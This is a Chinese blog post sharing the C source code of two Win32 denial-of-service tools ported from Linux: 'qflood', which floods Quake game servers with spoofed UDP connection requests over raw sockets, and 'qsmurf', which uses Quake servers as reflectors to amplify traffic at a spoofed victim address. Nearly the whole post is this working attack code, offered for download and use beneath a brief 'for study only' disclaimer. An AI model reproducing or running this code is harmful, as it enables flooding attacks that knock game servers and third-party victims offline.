当前位置:
首页 > 其他 > DDOS攻击器源码

DDOS攻击器源码

不说了,放了很久
如果你用不上,收藏也可以
不要忘了黑客的精神是:自由,免费,共享!

[quote]
QUOTE:
*/
//---------------------------------------------------------------------------
#pragma hdrstop
#include
#include
#include
#include
#include
//#include
#include
#include
#include
#include
#include
//#include
//#include
//#include
//#include
//#include
//#include
//#include
#include
#pragma comment(lib, "ws2_32.lib")
//---------------------------------------------------------------------------
#pragma argsused
struct sockaddr sa;
struct node
{
char *address;
struct node *next;
};
struct node *head = NULL;
struct node *tail;
void add_address( struct node **, char * );
void sig_handler( int );
int main( int argc, char **argv )
{
int x = 1;
int source_port, delay, fd;
struct sockaddr_in *p;
struct hostent *he;
struct node *current;
char *temp;
u_char thePACKET[41]=
{
0x45, /* IP version, header len */
0x00, /* IP diff services field */
0x00, 0x29, /* IP total length */
0xc2, 0xb5, /* IP id */
0x00, 0x00, /* IP fragment offset */
0x80, /* IP TTL */
0x11, /* IP protocol */
0, 0, /* IP header checksum */
0, 0, 0, 0, /* IP src */
0, 0, 0, 0, /* IP dest */
0x00, 0x00, /* UDP src port */
0, 0, /* UDP dest port */
0x00, 0x15, /* length = 21 */
0x00, 0x00, /* UDP checksum */
0x80, 0x00, /* Quake flags */
0x00, 0x0d, /* Quake length */
0x01, /* Quake command = connect */
0x51, 0x55, 0x41, 0x4b, /* Quake game = QUAKE */
0x45, 0x00,
0x03, 0x01 /* Quake version = 3 */
};
WSADATA wsaData;
if( argc != 5 )
{
fprintf( stderr, "\nqflood - floods Quake servers with spoofed connection requests\n" );
fprintf( stderr, "\tWritten by Andy Gavin (_" );
fprintf( stderr, "\tTranslated into Win32 Version by shadowstar (" );
fprintf( stderr, "\tUsage: %s \n", *argv );
fprintf( stderr, "\t\tsrc = comma-delimited list of IPs/hostnames\n" );
fprintf( stderr, "\t\tserver = Quake server IP/hostname\n" );
fprintf( stderr, "\t\tserver_port = Quake server port\n" );
fprintf( stderr, "\t\tdelay = delay between connection requests (in msec)\n" );
fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 500\n\n", argv[0] );
exit( 0 );
}
WSAStartup(MAKEWORD(2, 2), &wsaData);

srand( time( NULL ));
delay = atoi( argv[4] );
/* build a linked list of addresses entered on command line */
temp = strtok( argv[1], "," );
add_address( &head, temp );
signal( SIGINT, sig_handler );
tail = head;
temp = strtok( NULL, "," );
while( temp != NULL )
{
add_address( &(tail->next), temp );
tail = tail->next;
temp = strtok( NULL, "," );
}
current = head;
while( 1 )
{
while( current != NULL )
{
if( ( he = gethostbyname( current->address )) == NULL )
{
fprintf( stderr, "Can't resolve src\n" );
exit( 0 );
}
memcpy( ( thePACKET + 12 ), *( he->h_addr_list ), 4 );
if( ( he = gethostbyname( argv[2]) ) == NULL )
{
fprintf( stderr, "Can't resolve server\n");
exit( 0 );
}
memcpy( ( thePACKET + 16 ), *( he->h_addr_list ), 4 );
source_port = rand() % 3976 + 1024;
*(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
*(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));
p = ( struct sockaddr_in* ) &sa;
p->sin_family = AF_INET;
memcpy( &(p->sin_addr), *( he->h_addr_list ), sizeof( struct in_addr ) );
if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
{
perror( "Can't create raw socket (you must run as root)" );
exit( 0 );
}
if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 ) { perror( "setsockopt IP_HDRINCL error" ); exit( 0 ); } if(( sendto( fd, thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1) { perror( "sendto error" ); exit( 0 ); } printf( "Quake connection request sent from %s:%i to %s:%s\n", current->address, source_port, argv[2], argv[3] );
Sleep( delay );
current = current->next;
}
current = head;
}
WSACleanup();
exit ( 1 );
}
void add_address( struct node** reference, char *data )
{
struct node* new_node = malloc( sizeof( struct node ));
new_node->address = data;
new_node->next = *reference;
*reference = new_node;
}
void sig_handler( int number )
{
struct node *current = head;
struct node *next;
printf( "\nCaught SIGINT. Cleaning up memory..." );
while( current != NULL )
{
next = current->next;
free( current );
current = next;
}
printf( "done.\n\n" );
exit( 1 );
}
QUOTE: */
#include
#include
#include
#include
//#include
#include
#include
#include
#include
#include
//#include
//#include
//#include
//#include
//#include
//#include
//#include
#include
#pragma comment(lib, "ws2_32.lib")
struct sockaddr sa;
struct node
{
char *address;
struct node *next;
unsigned int ip;
};
struct node *head = NULL;
struct node *tail;
void add_address( struct node **, char * );
void sig_handler( int );
int main( int argc, char **argv )
{
int x = 1;
int source_port, delay, fd;
unsigned int ip;
struct sockaddr_in *p;
struct hostent *he;
struct node *current;
char *temp;
u_char thePACKET[41]=
{
0x45, /* IP version, header len */
0x00, /* IP diff services field */
0x00, 0x29, /* IP total length */
0xc2, 0xb5, /* IP id */
0x00, 0x00, /* IP fragment offset */
0x80, /* IP TTL */
0x11, /* IP protocol */
0, 0, /* IP header checksum */
0, 0, 0, 0, /* IP src */
0, 0, 0, 0, /* IP dest */
0x00, 0x00, /* UDP src port */
0, 0, /* UDP dest port */
0x00, 0x15, /* length = 21 */
0x00, 0x00, /* UDP checksum */
0x80, 0x00, /* Quake flags */
0x00, 0x0d, /* Quake length */
0x01, /* Quake command = connect */
0x51, 0x55, 0x41, 0x4b, /* Quake game = QUAKE */
0x45, 0x00,
0x03, 0x01 /* Quake version = 3 */
};
WSADATA wsaData;
if( argc != 5 )
{
fprintf( stderr, "\nqsmurf - floods targets with amplified UDP packets using the NetQuake protocol\n" );
fprintf( stderr, "\tWritten by Jamal Motsa (" );
fprintf( stderr, "\tTranlated into Win32 Version by shadowstar (" );
fprintf( stderr, "\tUsage: %s \n", *argv );
fprintf( stderr, "\t\tservers = comma-delimited list of IP Address/hostnames of Quake servers\n" );
fprintf( stderr, "\t\tsrc = IP Address/hostname of target\n" );
fprintf( stderr, "\t\tserver_port = Quake server port\n" );
fprintf( stderr, "\t\tdelay = delay between connection requests (in msec, 0 for no delay)\n" );
fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 50000\n\n", argv[0] );
exit( 0 );
}
WSAStartup(MAKEWORD(2, 2), &wsaData);
srand( time( NULL ));
delay = atoi( argv[4] );
/* build a linked list of addresses entered on command line */
temp = strtok( argv[1], "," );
add_address( &head, temp );
signal( SIGINT, sig_handler );
tail = head;
temp = strtok( NULL, "," );
while( temp != NULL )
{
add_address( &(tail->next), temp );
tail = tail->next;
temp = strtok( NULL, "," );
}
current = head;
if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
{
perror( "Can't create raw socket (you must run as root)" );
exit( 0 );
}
if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 ) { perror( "setsockopt IP_HDRINCL error" ); exit( 0 ); } if( ( he = gethostbyname( argv[2]) ) == NULL ) { fprintf( stderr, "Can't resolve src\n" ); exit( 0 ); } memcpy( &ip, *( he->h_addr_list ), 4 );

while( 1 )
{
while( current != NULL )
{
memcpy( ( thePACKET + 16 ), &ip, 4 );
memcpy( ( thePACKET + 16 ), &(current->ip), 4 );
source_port = rand() % 3976 + 1024;
*(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
*(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));
p = ( struct sockaddr_in* ) &sa;
p->sin_family = AF_INET;
memcpy( &(p->sin_addr), ¤t->ip, 4 );
if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
{
perror( "sendto error" );
exit( 0 );
}
printf( "Quake connection request sent from %s:%i to %s:%s\n", argv[2], source_port, current->address, argv[3] );
if( delay > 0 ) Sleep( delay );
current = current->next;
}
current = head;
}
WSACleanup();
exit( 1 );
}
void add_address( struct node** reference, char *data )
{
struct hostent * he;
struct node* new_node = malloc( sizeof( struct node ));
new_node->address = data;
new_node->next = *reference;
if( ( he = gethostbyname( new_node->address )) == NULL )
{
fprintf( stderr, "Can't resolve server\n");
exit( 0 );
}
memcpy( &(new_node->ip), *( he->h_addr_list ),4 );
*reference = new_node;
}
void sig_handler( int number )
{
struct node *current = head;
struct node *next;
printf( "\nCaught SIGINT. Cleaning up memory..." );
while( current != NULL )
{
next = current->next;
free( current );
current = next;
}
printf( "done.\n\n" );
exit( 1 );
}
[/quote]

对Quake server进行Flood攻击.写的linux下的程序移植到Win32平台下

以上代码仅供学习研究和收藏之用,请在法律允许范围内使用,勿用于商业及非法途径,使用者风险自负,所造成的后果本博客不承担任何责任

DDOS攻击器源码:等您坐沙发呢!

发表评论

表情
还能输入210个字